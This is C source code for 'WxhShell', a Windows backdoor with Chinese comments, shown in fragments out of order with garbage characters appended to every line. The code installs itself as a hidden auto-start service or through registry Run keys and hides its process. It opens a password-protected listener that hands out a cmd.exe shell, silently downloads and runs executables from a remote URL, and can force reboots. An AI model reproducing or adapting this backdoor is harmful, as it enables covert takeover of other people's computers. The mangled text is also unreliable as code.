    if(Boot(SHUTDOWN)) s_h <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ow`c B  
    else { ;1OTK6  
    closesocket(wsh); O,1u\Zy/  
    ExitThread(0); z06pX$Q.<  
    } SS~Txt75m  
    break; yxQAO_C  
    } \&qVr1|  
  // 获取shell ?R{?Qv  
  case 's': { 0_y%Qj^e  
    CmdShell(wsh); f,a4LF  
    closesocket(wsh); o_*|`E  
    ExitThread(0); Q}.y"|^  
    break; |)JoxqR  
  } _&![s]  
  // 退出 zB]T5]  
  case 'x': { L,4 ^Of  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R +JI ?/H  
    CloseIt(wsh); x?<5=,  
    break; 2RXGY  
    } K((Kd&E  
  // 离开 /tv;W  
  case 'q': { ti#sh{t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;^8^L'7cr  
    closesocket(wsh); h+^T);h};|  
    WSACleanup(); n0i&P9@B1  
    exit(1); FfgJ 2y  
    break; a!^wc,  
        } xNqQbk F  
  } G =4y!y  
  } B# H  
A>g$[  
  // 提示信息 | uZ=S]V@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tr/dd&(Y1  
} y?@Y\ b  
  } aC$g(>xFt  
d=KOV;~);  
  return; *nW9)T  
} 8k`zMT  
d,+n,;6Cf  
// shell模块句柄 jb![ Lp  
int CmdShell(SOCKET sock) i }g xq  
{ t5Mo'*j =  
STARTUPINFO si; d$,i?d,  
ZeroMemory(&si,sizeof(si)); -pGt ;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *(MvNN*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *_wef/==  
PROCESS_INFORMATION ProcessInfo; Q%xY/xH]  
char cmdline[]="cmd"; rlIEch^wZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t3>r f3v  
  return 0; 7h0'R k  
} BD0-v`  
fDqXM;a"  
// 自身启动模式 =GVhAzD3  
int StartFromService(void) $B?7u@>,  
{ D5m\u$~V  
typedef struct VfcQibm  
{ lmcDA,7  
  DWORD ExitStatus; `k| nf9_  
  DWORD PebBaseAddress; `s_TY%&_}g  
  DWORD AffinityMask; QMxz@HGa|  
  DWORD BasePriority; a*[\edcHU  
  ULONG UniqueProcessId; yrs3`/  
  ULONG InheritedFromUniqueProcessId; U[D<%7f  
}   PROCESS_BASIC_INFORMATION; ZtLn*M  
?.4l1X6Ba  
PROCNTQSIP NtQueryInformationProcess; Aii[=x8  
.KsvRx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FOA%( 5$4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Wu&Di8GhP  
M<srJ8|'  
  HANDLE             hProcess; g\)z!DQ]  
  PROCESS_BASIC_INFORMATION pbi; ksaC[G;}:  
)\;r V';  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [E~TYk;  
  if(NULL == hInst ) return 0; E}=,"i  
8vw]u_e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xt84Evo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4"{wga~%/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n_Y]iAoc`  
(Qm;]?/  
  if (!NtQueryInformationProcess) return 0; UG_0Y8$  
k>CtWV5B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z :+#3.4$3  
  if(!hProcess) return 0; 8!SiTOzR?  
>[@d&28b%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pb Ie)nK  
o?FUVK  
  CloseHandle(hProcess); ( `+Z'Y  
xlO2jSSAt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <6~;-ZQY  
if(hProcess==NULL) return 0; \pGO}{3 e*  
Z5[:Zf?h7J  
HMODULE hMod; LeyDs>! 0  
char procName[255]; 8Q -F  
unsigned long cbNeeded; U9 *2< c  
Oha g%<1#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #Vigu,zY  
y}HC\A77uD  
  CloseHandle(hProcess); KgWT&^t  
p ri{vveN@  
if(strstr(procName,"services")) return 1; // 以服务启动 =3C)sz}  
V^+:U>$w  
  return 0; // 注册表启动 'e64%t  
} ~(/HgFLLu  
Ds_ "m,  
// 主模块 Z|% 2495\  
int StartWxhshell(LPSTR lpCmdLine) ?\M6P?tpo&  
{ zpqNmxmF  
  SOCKET wsl; # :w2Hf6Q  
BOOL val=TRUE; J6ShIPc  
  int port=0; A_~5|  
  struct sockaddr_in door; MjC%6%HI  
"\r~,S{:  
  if(wscfg.ws_autoins) Install(); <SZO- -+lB  
XSjelA?  
port=atoi(lpCmdLine); 4"x;XVNM[  
\Egc5{   
if(port<=0) port=wscfg.ws_port; ( v:ek_  
!F#aodM1N  
  WSADATA data; b_Jq=Gk`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +|YZEC  
y?#J`o- O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B!ibE<7,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jY+S,lD  
  door.sin_family = AF_INET; ,GU/l)os`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]UT|BE4v  
  door.sin_port = htons(port); !o':\hex6  
!gfhEz Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _C,@eu"9V  
closesocket(wsl); f\U&M,L\ '  
return 1; @[lc0_ b  
} ]NV ]@*`tO  
$uK"@Mw  
  if(listen(wsl,2) == INVALID_SOCKET) { M2Fj)w2   
closesocket(wsl); /8t+d.r;/  
return 1; fR%1FXpK&  
} X/K)kIi  
  Wxhshell(wsl); >-5Gt  
  WSACleanup(); /NX7Vev  
Ca@=s  
return 0; *3`oU\r  
.`>l.gmi&  
} 0/@ X!|X  
/:{_|P\  
// 以NT服务方式启动 *8.@aX3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 56SS >b  
{ ]'!xc9KGR  
DWORD   status = 0; i(yAmo9h  
  DWORD   specificError = 0xfffffff; I cR;A\z  
Tb1}XvZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 66@3$P%1p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Oqpl2Y"/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -F+P;S  
  serviceStatus.dwWin32ExitCode     = 0; wYO"znd  
  serviceStatus.dwServiceSpecificExitCode = 0; ;s\;78`0  
  serviceStatus.dwCheckPoint       = 0; !H|82:`t+  
  serviceStatus.dwWaitHint       = 0; +}1hU :qW  
vo6[2.HS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hQ}7Z&O  
  if (hServiceStatusHandle==0) return; C7 ]DJn  
f UF;SqT  
status = GetLastError(); k/_8!^:'  
  if (status!=NO_ERROR) $rpTs?j*K$  
{ e4=FU&RpNH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ke9QT#~p!-  
    serviceStatus.dwCheckPoint       = 0; 2'<=H76  
    serviceStatus.dwWaitHint       = 0; &H4uvJ_<  
    serviceStatus.dwWin32ExitCode     = status; g7 Md  
    serviceStatus.dwServiceSpecificExitCode = specificError; S}w.#tyEn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 12tJrS*Z  
    return; YF! &*6m  
  } cF_;hD|YZ  
tSb?]J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <cDKGd  
  serviceStatus.dwCheckPoint       = 0; xdL/0 N3  
  serviceStatus.dwWaitHint       = 0; JXL9Gge  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X$-b oe?  
} (lN;xT`=  
%R5Com  
// 处理NT服务事件,比如:启动、停止 9'n))%CZ.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XJmFJafQD  
{ :J Gl>V  
switch(fdwControl) {}g %"mi#  
{ 1c)\  
case SERVICE_CONTROL_STOP: A-a17}fta  
  serviceStatus.dwWin32ExitCode = 0; A \MfF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H ~[LJ5x  
  serviceStatus.dwCheckPoint   = 0; #ox9&  
  serviceStatus.dwWaitHint     = 0; }{&l n  
  { *|LbbRu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,C{^`Bk-W  
  } )@Zc?Da  
  return; G{NSAaD[  
case SERVICE_CONTROL_PAUSE: I(OAEIz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w.J%qWJq  
  break; Xr?>uqY!M  
case SERVICE_CONTROL_CONTINUE: U#;51 _  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YVB% kKv{  
  break; <I7(eh6d  
case SERVICE_CONTROL_INTERROGATE: 1z~k1usRK  
  break; }rz dm9  
}; Kajkw>z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~@T+mHny  
} 5-8]N>/b!  
/x  
// 标准应用程序主函数 3yTQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O9t=lrYV!  
{ 81g9ZV(4  
cVQatm  
// 获取操作系统版本 (jM<T;4  
OsIsNt=GetOsVer(); bK3B3r#$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 44|deE3Z  
 5ZnSA9?  
  // 从命令行安装 a(8>n Z,V  
  if(strpbrk(lpCmdLine,"iI")) Install(); uuu\f*<  
`FUFK/7 w\  
  // 下载执行文件 >9-Dd)<  
if(wscfg.ws_downexe) { L~*u4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W`#gpi)7N  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]{YN{  
} U? 8i'5)  
$"Afy)Ir  
if(!OsIsNt) { fO*)LPen.z  
// 如果时win9x,隐藏进程并且设置为注册表启动 " Wp   
HideProc(); <O;&qT*b  
StartWxhshell(lpCmdLine); &oA~ Tx  
} k_]\(myq  
else 5B%w]n  
  if(StartFromService()) GGCqtA^@7d  
  // 以服务方式启动 Js/N()X  
  StartServiceCtrlDispatcher(DispatchTable); 6hZ.{8e0  
else YVoao#!  
  // 普通方式启动 [ L  
  StartWxhshell(lpCmdLine); p` $fTgm  
Jf2e<?`  
return 0; mv{<'  
} s~L`53A  
$( S*GF$S  
.+OB!'dDK^  
(FuEd11R  
=========================================== {`a(Tl8V  
8Bq-0=E  
8+9\7*  
TZe+<~4*i%  
wY/bA}%  
JlUb0{8PE  
" vyE{WkZxR  
5\WUoSgy  
#include <stdio.h> WhH!U0  
#include <string.h> N8VVGPa  
#include <windows.h> hje! w`  
#include <winsock2.h> /w0sj`;"  
#include <winsvc.h> a_Jb> }  
#include <urlmon.h> nh<Z1tMU  
GSP?X$E  
#pragma comment (lib, "Ws2_32.lib") YNI;h%w  
#pragma comment (lib, "urlmon.lib") yx2z%E  
yX`#s]M  
#define MAX_USER   100 // 最大客户端连接数 n[|6khOL-  
#define BUF_SOCK   200 // sock buffer Y,'%7u  
#define KEY_BUFF   255 // 输入 buffer E$ {J  
6.[)`iF+#  
#define REBOOT     0   // 重启 ?H`j>]%&  
#define SHUTDOWN   1   // 关机 6F(hY !}5  
wZQ)jo7*g  
#define DEF_PORT   5000 // 监听端口 ^_sQG  
0Q7MM6  
#define REG_LEN     16   // 注册表键长度 sdrWOq  
#define SVC_LEN     80   // NT服务名长度 rS4%$p"  
opXDm\  
// 从dll定义API "e@n:N!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7{4w 2)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YGETMIT(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H37Qg ApB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~T% Ui#Gc  
H;QA@tF>5  
// wxhshell配置信息 Pubv$u2  
struct WSCFG { BX*69  
  int ws_port;         // 监听端口 zd.'*Dj  
  char ws_passstr[REG_LEN]; // 口令 L/yaVU{aEb  
  int ws_autoins;       // 安装标记, 1=yes 0=no :> SLQ[1  
  char ws_regname[REG_LEN]; // 注册表键名 Tpb"uBiXoo  
  char ws_svcname[REG_LEN]; // 服务名 E~qQai=]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4^[ /=J}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +p z}4M`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >OK#n)U`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z3W3=@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [X<Pk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;g+]klR!  
wN(&5rfS  
}; J'e]x[Y  
0\Y1}C  
// default Wxhshell configuration TdFT];:  
struct WSCFG wscfg={DEF_PORT, wG8 nw;  
    "xuhuanlingzhe", f0DK>L  
    1, }RIU8=P  
    "Wxhshell", wx*1*KZ  
    "Wxhshell", <!F3s`7~  
            "WxhShell Service", JaI Kjn  
    "Wrsky Windows CmdShell Service", aBxiK[[`  
    "Please Input Your Password: ", ]ENK8bW  
  1, {~_ Y _-  
  "http://www.wrsky.com/wxhshell.exe", Bd&`Xfebj  
  "Wxhshell.exe" VO_dA4C}z  
    }; gw+eM,Yp  
gfN2/TDC]P  
// 消息定义模块 epkD*7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R!6=7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6]n/+[ ks  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o/^1Wm=  
char *msg_ws_ext="\n\rExit."; \J3/keL  
char *msg_ws_end="\n\rQuit."; u%B&WwHG  
char *msg_ws_boot="\n\rReboot..."; ;|HL+je;Z  
char *msg_ws_poff="\n\rShutdown..."; Z7z]2v3}c  
char *msg_ws_down="\n\rSave to "; 8I.VJ3Q  
,F9nDF@)  
char *msg_ws_err="\n\rErr!"; wXbsS)#/  
char *msg_ws_ok="\n\rOK!"; ugLlI2 nJ  
 Gq1)1  
char ExeFile[MAX_PATH]; )M:)y  
int nUser = 0; ;&S;%W>|  
HANDLE handles[MAX_USER]; 9->q|E4  
int OsIsNt; y`S o&:1  
<<,>S&/  
SERVICE_STATUS       serviceStatus; mp1ttGUtM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QIK 9  
`N'V#)Pi  
// 函数声明 ,[l`zp  
int Install(void); p0VUh!  
int Uninstall(void); Jzex]_:1~  
int DownloadFile(char *sURL, SOCKET wsh); w7 *V^B  
int Boot(int flag); )/>A6A:  
void HideProc(void); d:rGyA]  
int GetOsVer(void); $FX,zC<=  
int Wxhshell(SOCKET wsl); ` >U?v  
void TalkWithClient(void *cs); cG_Vc[  
int CmdShell(SOCKET sock); q.W>4 k  
int StartFromService(void); p$XKlg&  
int StartWxhshell(LPSTR lpCmdLine); a <wL#Id  
{v,)G)obWw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -c+]Wm"\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i=#F)AD^5#  
!OAvD#  
// 数据结构和表定义 %u!b& 5]e  
SERVICE_TABLE_ENTRY DispatchTable[] = !MV@) (.  
{ W5 ec  
{wscfg.ws_svcname, NTServiceMain}, #|f~s  
{NULL, NULL} JN(-.8<  
}; .<YcSG  
8@eOTzm  
// 自我安装 v"!4JZ%K  
int Install(void) *eb-rhCVn  
{ ;gB`YNL  
  char svExeFile[MAX_PATH]; yWb4Ify  
  HKEY key; .zkP~xQ~  
  strcpy(svExeFile,ExeFile); Md&WJ };L  
eB]R3j{  
// 如果是win9x系统,修改注册表设为自启动  rLv;Y  
if(!OsIsNt) { Ia4)uV8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #fDs[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *C2R`gpBI  
  RegCloseKey(key); {HrZ4xQnpV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d5!!Ut  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J ^ G  
  RegCloseKey(key); Apfnx7Fv  
  return 0; ;Gd~YGW^#  
    } [po "To  
  } ^+/kr/  
} #g9ZX16}  
else { |He=LQ }0  
"rNL `P7  
// 如果是NT以上系统,安装为系统服务 SSA W52xC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C5 X(U :  
if (schSCManager!=0) /nQ`&q  
{ s([dGD$i  
  SC_HANDLE schService = CreateService RE"^ )-  
  ( -d=WV:G%e  
  schSCManager, >*1}1~uU`'  
  wscfg.ws_svcname, qTmD '2  
  wscfg.ws_svcdisp, ,hRN\Kt)p  
  SERVICE_ALL_ACCESS, $>q@SJ1q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !#N\ b  
  SERVICE_AUTO_START, >: Wau  
  SERVICE_ERROR_NORMAL, ^%<pJMgdF  
  svExeFile, K7(MD1tk  
  NULL, f.xA_Y>  
  NULL, 8dO?K*J,H'  
  NULL, 0.;}]v  
  NULL, Q8nId<\(  
  NULL j6YiE~  
  ); ]?LB?:6  
  if (schService!=0) |i7a@'0)  
  { iiC!|`k"  
  CloseServiceHandle(schService); D4u% 6R|F  
  CloseServiceHandle(schSCManager); A :e;k{J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S#l5y%&  
  strcat(svExeFile,wscfg.ws_svcname); p]T"|!d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jvwwJ<K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D E/:['  
  RegCloseKey(key); E"PcrWB&  
  return 0; Xm!-~n@-m7  
    } nJFg^s 1  
  } egR-w[{  
  CloseServiceHandle(schSCManager); QlZ@ To  
} ^ c%N/V \  
} T.:+3:8|F  
B80aw>M  
return 1; $l[Rh1z`;+  
} ftbpqp'  
01@t~v3!Z  
// 自我卸载 7 hw .B'7  
int Uninstall(void) 04@cLDX8uB  
{ RHY4P4B<v>  
  HKEY key; -:Rp'SJ  
EL{vFP  
if(!OsIsNt) { nt :N!suP3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T)iW`vZg8  
  RegDeleteValue(key,wscfg.ws_regname); S4o$t -9l  
  RegCloseKey(key); =;L*<I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uGP(R=H  
  RegDeleteValue(key,wscfg.ws_regname); _aS;!6b8W  
  RegCloseKey(key); n.}T1q|l  
  return 0; x3G:(YfO  
  } xL "!~dN  
} >SmV74[s2  
} C NrII sJ  
else { []pN$]+c  
Yl^mAS[w&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _}6q{}jn:c  
if (schSCManager!=0) E/b"RUv}h  
{ ,!QV>=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;0%OB*lcgE  
  if (schService!=0)  iThSt72  
  { 83Ou9E!W  
  if(DeleteService(schService)!=0) { gzn^#3b  
  CloseServiceHandle(schService); a2@c%i  
  CloseServiceHandle(schSCManager); K7)kS  
  return 0; k;^ :  
  } \Y|*Nee}XP  
  CloseServiceHandle(schService); P:xT0gtt  
  } hpbf&S4  
  CloseServiceHandle(schSCManager); PAF8W lg  
} 1Y j~fb(  
} gE7L L=x  
"&+3#D >  
return 1; 5FeFN)  
} =d`5f@'rl  
t*S." q  
// 从指定url下载文件 hGTV;eU  
int DownloadFile(char *sURL, SOCKET wsh) *C|  
{ :l\V'=%9'@  
  HRESULT hr; :l u5Uu~  
char seps[]= "/"; *ZCn8m:-+  
char *token; _2ef LjXQ  
char *file; $.E6S<(h  
char myURL[MAX_PATH]; -G|a*^  
char myFILE[MAX_PATH]; 9J-b6,  
Gu0 ,)jy\  
strcpy(myURL,sURL); # TkR  
  token=strtok(myURL,seps); QO;4}rq  
  while(token!=NULL) 'Prxocxq  
  { Ri*3ySyb  
    file=token; 2[yBD-":  
  token=strtok(NULL,seps); 5]Ajf;W\  
  } }FqA ppr  
r?$ ?;%|C  
GetCurrentDirectory(MAX_PATH,myFILE); w}cY6O,1  
strcat(myFILE, "\\"); dFXc/VH')  
strcat(myFILE, file); W7No ls{  
  send(wsh,myFILE,strlen(myFILE),0); ki]ti={12  
send(wsh,"...",3,0); k ]a*&me  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9)dfL?x8V{  
  if(hr==S_OK) $% k1fa C  
return 0; ?\=/$Gt  
else `C E^2  
return 1; MjL)IgT  
|UnUG  
} | bv,2uWz  
?=Pd  
// 系统电源模块 vw>jJ  
int Boot(int flag) n$L51#'  
{ @ EuFJ=h  
  HANDLE hToken; LJlZ^kh  
  TOKEN_PRIVILEGES tkp; aBuoHdg;  
V&{MQWy  
  if(OsIsNt) { S_(d9GK<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KFRw67^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); je,}_:7  
    tkp.PrivilegeCount = 1; = "ts`>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +a@GHx 4-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %|W.^q  
if(flag==REBOOT) { l,|%7-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JH,/jR  
  return 0; sY SLmUZ{  
} RzKb{> ;A  
else { NPnHH:\;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1`0#HSO  
  return 0; #s-iy+/1oN  
} Y-!YhWsS  
  } [tT8_}v$LN  
  else { LaFZ?7@|}  
if(flag==REBOOT) { 22hSove.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V<Z'(UI  
  return 0; cR7wx 0Aj  
} 6=_~ 0PcY  
else { PyC0Q\$%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (?)7)5H  
  return 0; X@N$Z{  
} U\@A _ B  
} w*7|dZk{  
Wzq>JNn y  
return 1; c~}l8M %  
} Tb;d.^  
M)-6T{[IT  
// win9x进程隐藏模块 \ gwXH  
void HideProc(void) J97R0  
{ koG{ |elgB  
]$-cMX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l~:v (R5  
  if ( hKernel != NULL ) (46 {r}_O  
  { :;;E<74e i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \/`?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =JLh?Wx  
    FreeLibrary(hKernel); x+5k <Xi}  
  } SUCU P<G  
9Ru;`  
return; /lhz],w  
} }Rvm &?~O  
sfT+i;p  
// 获取操作系统版本 ,:n| ?7  
int GetOsVer(void) yY{kG2b,  
{ +>^7vq-\'  
  OSVERSIONINFO winfo; ]w).8=I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <z+:j!~  
  GetVersionEx(&winfo);  %V G/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BcWcdr+}9  
  return 1; `bI)<B  
  else `1` f*d v  
  return 0; <Cpp?DW_  
} YB))S!;Ok  
^WYQ]@rh3  
// 客户端句柄模块 QWnndI_4p  
int Wxhshell(SOCKET wsl) R@ Y=o].2  
{ >u +q1j.  
  SOCKET wsh; ZM#=`k9  
  struct sockaddr_in client; _m E^rT  
  DWORD myID; 0X|_^"!  
=v~1qWX  
  while(nUser<MAX_USER) AnsjmR:Jv  
{ _o6G6e,  
  int nSize=sizeof(client); & -l8n^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NLd``=&  
  if(wsh==INVALID_SOCKET) return 1; }-p[V$:S  
f'(l&/4z{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GOy%^:Xd  
if(handles[nUser]==0) 2RtHg_d_l  
  closesocket(wsh); q z&+=d@  
else u+9<&)X0  
  nUser++; bUy,5gk-  
  } )emOKS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F!!N9VIC  
W_M'.1 t  
  return 0; zoDZZ%{  
} ^n.WZUk  
1$lh"fHU  
// 关闭 socket 1nhtM  
void CloseIt(SOCKET wsh) 5~ 'Ie<Y_  
{ )ukpJ z""  
closesocket(wsh); :\~+#/=:  
nUser--; ~i;fDQ&!  
ExitThread(0); {i~8 :  
} Y(VJbm`  
x|64l`Vp(:  
// 客户端请求句柄 B6P|Z%E;D6  
void TalkWithClient(void *cs) V}w;Y?] J  
{ gYop--\14]  
ybdd;t}&1  
  SOCKET wsh=(SOCKET)cs; Y$8JM  
  char pwd[SVC_LEN]; t%1^Li  
  char cmd[KEY_BUFF]; O;Y:uHf  
char chr[1]; ~}ml*<z@  
int i,j; dj6*6qX0'^  
[`=LTBt  
  while (nUser < MAX_USER) { <-Bx&Q  
&<'n^n  
if(wscfg.ws_passstr) { yR~-k?7b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1t[j"CG(o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9a$56GnW1  
  //ZeroMemory(pwd,KEY_BUFF); {NM+Oj,~'  
      i=0; )QiQn=Ce  
  while(i<SVC_LEN) { ,SlN zR  
SF ]@|  
  // 设置超时 1M3% fW  
  fd_set FdRead; U_yE& 6 T  
  struct timeval TimeOut; 7EhN u@5-  
  FD_ZERO(&FdRead); N)8HR9[!  
  FD_SET(wsh,&FdRead); cp Ear  
  TimeOut.tv_sec=8; qAkx<u  
  TimeOut.tv_usec=0; h #Z4pN8T3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'rP]Nw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @R~5-m  
u0`o A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N6oq90G  
  pwd=chr[0]; #1-xw~_  
  if(chr[0]==0xd || chr[0]==0xa) { h:\oly\  
  pwd=0; 2 -!L _W(  
  break; Q-TV*FD.  
  } &:*q_$]Oz  
  i++; 9~IQw#<  
    } c8 K3.&P6  
3B0lb "e  
  // 如果是非法用户,关闭 socket [t]X/O3<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cFd > oDS  
} i=FQGWAUu  
`ejUs]SR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y? (2U6c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XkKC!  
QvPD8B  
while(1) { wt }9B[  
5-u=o )>  
  ZeroMemory(cmd,KEY_BUFF); u<ySd?  
eHg3}b2r  
      // 自动支持客户端 telnet标准   "](6lB1Oe  
  j=0; H%f:K2  
  while(j<KEY_BUFF) { CE NVp"C/`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lVH<lp_ZtK  
  cmd[j]=chr[0]; f,i5iSYf  
  if(chr[0]==0xa || chr[0]==0xd) { %rKK[  
  cmd[j]=0; o@>? *=  
  break; ER&UBUu"  
  } t6N*6ld2b  
  j++; q!'rz  
    } Z@D*1\TG=  
X+8B!F  
  // 下载文件 |tMn={  
  if(strstr(cmd,"http://")) { XdEPbD-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vsq8H}K  
  if(DownloadFile(cmd,wsh)) U4?(A@z9^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DLPUqKL]  
  else +';>=hha  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E|"=. T  
  } 3cl9wWlJ_E  
  else { o(A|)c4k  
;bu#8,  
    switch(cmd[0]) { C}g9'jY  
  XdgUqQb}  
  // 帮助 Hq&"+1F  
  case '?': { \~rlgxd  
